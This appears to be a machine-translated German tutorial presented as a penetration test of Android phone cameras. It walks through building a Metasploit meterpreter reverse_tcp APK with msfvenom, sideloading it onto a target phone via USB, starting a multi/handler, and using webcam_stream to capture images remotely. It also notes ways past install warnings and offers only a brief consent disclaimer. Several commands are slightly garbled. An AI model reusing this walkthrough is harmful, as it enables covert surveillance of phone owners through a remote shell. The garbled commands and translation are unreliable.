Es gab mehrere Nachrichten über Hacker, die Android-Telefonkameras entführten, um ihre Benutzer zu belauschen oder ihnen gefälschte Bilder zu liefern. Als Besitzer eines aufmerksamen Telefons möchten Sie dies möglicherweise verhindern, indem Sie die Wahrscheinlichkeit und die tatsächlichen Risiken eines solchen Bedrohungsereignisses bewerten.
Kali Linux ist eines der besten Tools, um die potenziellen Schwachstellen Ihrer Android-Telefonkamera durch einen Penetrationstest zu überprüfen. Es kann Ihnen helfen, den Überblick über alle Hackerversuche zu behalten, die aus der Ferne auf die Telefonkamera zugreifen.
Installieren einer Exploit-Nutzlast
Um Kali Linux für einen Penetrationstest zu verwenden, laden Sie es zuerst von seinem . herunter offizielle Seite. In diesem früheren Tutorial finden Sie die Definitionen verschiedener Jargons wie „msfvenom“, „msfconsole“, „meterpreter“ und mehr, die in dieser Übung verwendet werden.
Der erste Schritt beim Penetrationstest besteht darin, eine Standard-Exploit-Nutzlast auf dem Gerät zu installieren. Öffnen Sie dazu das Kali Linux Terminal und geben Sie folgenden Befehl ein: ifconfig. Dadurch erhalten Sie die IP-Adresse Ihrer Kali Linux-Sitzung.
Geben Sie nun den unten gezeigten Befehl mit der obigen IP-Adresse ein. Die Portnummer für Exploits, Trojaner und andere Schwachstellen wird im Allgemeinen mit 4444 angegeben.
msfvenom - p android/meterpreter/reverse_tcp L HOST=IP address LPORT=Number R > Payload.apk
Versuchen Sie in diesem Schritt, eine Metasploit-Nutzlast zu injizieren, die auf einem Java-Interpreter basiert. Wenn der Penetrationstest erfolgreich ist, hilft Ihnen der Penetrationstest zu überprüfen, ob Ihr Telefon anfällig dafür ist, dass jemand Telefonanrufe abhört, auf SMS zugreift, den Benutzer geolokalisiert usw.
In diesem Fall wird versucht zu zeigen, wie der Exploit potenziell genutzt werden kann, um auf die Kameras des Telefons zuzugreifen.

Sobald der Exploit initiiert wurde, wird eine APK-Datei namens „Payload“ im Stammordner installiert. Sie müssen es auf einem Android-Zieltelefon installieren. Allerdings ist es leichter gesagt als getan. Die meisten neueren Android-Telefone und E-Mails weigern sich, solche mit Malware infizierten Dateien zu übertragen, und das ist gut so.
Es kann jedoch weiterhin über ein USB-Kabel oder temporäre Dateien erreicht werden. Wenn ein Hacker einige Minuten lang Zugriff auf Ihr Telefon hat, ist es dadurch etwas angreifbar. Unser Bestreben hier in diesem Penetrationstest besteht darin, das genaue Ausmaß des damit verbundenen Risikos zu ermitteln.

Nach der Übertragung müssen Sie einen Weg finden, die Nutzlastdatei auf Ihrem Telefon zu installieren. Sofern es sich nicht um eine sehr alte Android-Version handelt, sollte Ihr Telefon mehrere Warnungen ausgeben, bevor das APK installiert werden kann. Unabhängig von der Android-Telefonversion gibt es jedoch viele andere Möglichkeiten, Apps aus unbekannten Quellen auf einem Android-Telefon zu installieren.

Den Exploit starten
Um den obigen Payload-Exploit zu starten, fügen Sie den folgenden Befehl ein: msfconsole. Es dauert nur wenige Sekunden, bis der Befehl ausgeführt wird, und der Metasploit kann für weitere Penetrationstests an den Kameras des Telefons vorbereitet werden.

Der Metasploit gibt seine eigene vollständige Beschreibung. Die Nutzlastzusammenfassung ist ebenfalls sichtbar. Es zeigt die Anzahl der Exploits bei der Arbeit.

Im nächsten Schritt ist die msfconsole bereit, den Exploit zu starten. Beachten Sie hierzu die zuvor besprochene IP-Adresse und Portnummer (4444). Geben Sie dementsprechend die folgenden Befehle ein:
exploit (multi/handler) > set LHOST "IP Address" [ENTER] set LPORT "Port number" [ENTER] exploit [ENTER]

Wenn der Reverse-TCP-Handler aktiviert ist, sehen Sie verschiedene Phasen des Meterpreter-Starts. Warten Sie einige Sekunden, während das Zieltelefon diagnostiziert wird.
An dieser Stelle muss erwähnt werden, dass die meisten modernen Android-Handys diesen Zugriff weiterhin verweigern werden. Denken Sie daran, dass dies ein Penetrationstest ist. Wenn Ihr Android-Telefon mit dieser tödlichen APK-Datei nicht durchdrungen werden kann, bedeutet dies, dass Ihr Telefonhersteller diesen speziellen Angriffsvektor kennt.

Zugriff auf die Kamera des Android-Telefons
Wenn Sie den Exploit erfolgreich in das Telefon einfügen konnten, besteht die Möglichkeit, dass er nun durchdrungen wird. In diesem Fall kann der „Meterpreter“ auf einem Kali Linux-Terminal eine Verbindung mit dem Telefon herstellen. An dieser Stelle fügen Sie ein help um auf mehrere Optionen innerhalb des angegriffenen Android-Telefons zuzugreifen.

Geben Sie die folgenden Befehle (aus dem Hilfemenü) ein, um auf die Kameras Ihres Telefons zuzugreifen. Bei diesem Exploit wurde versucht, auf die Rückkamera zuzugreifen, um Bilder vom Terminal aus aufzunehmen.
webcam_list [ENTER] 1. Back camera 2. Front camera [ENTER] webcam_stream -i 1
Um einen erfolgreichen Penetrationstest abzuschließen, machen Sie ein Bild, sobald Sie auf die Kamera zugreifen können, und speichern Sie es im Stammordner von Kali Linux. Sie können auch die anderen gespeicherten Bilder bearbeiten, umbenennen oder löschen. Daher ist jede erfolgreiche Penetration auf dem getesteten Telefon ein Weckruf für die Wahrscheinlichkeit eines echten Angriffs, was bedeutet, dass es an der Zeit ist, einen Sicherheitspatch zu installieren.

In diesem Tutorial haben Sie erfahren, wie für Penetrationstests von einem Kali Linux-Terminal auf eine Android-Kamera zugegriffen werden kann.
Dies ist ein Artikel aus der Sicherheitsforschung. Wenn Sie für eine Demonstration auf die Kamera einer anderen Person zugreifen, holen Sie immer zuerst deren Erlaubnis ein – es sei denn, es handelt sich natürlich um Ihr eigenes Telefon. Vergessen Sie nicht, sich diese Hacking-Apps für Android anzusehen, die Ihnen beim Testen und Auffinden von Schwachstellen in Ihrem Telefon helfen
Unterstützen Sie unsere Arbeit ❤️
Wenn Ihnen dieser Artikel gefallen hat, können Sie uns mit einem Trinkgeld unterstützen, damit wir weiterhin großartige Inhalte veröffentlichen können.


























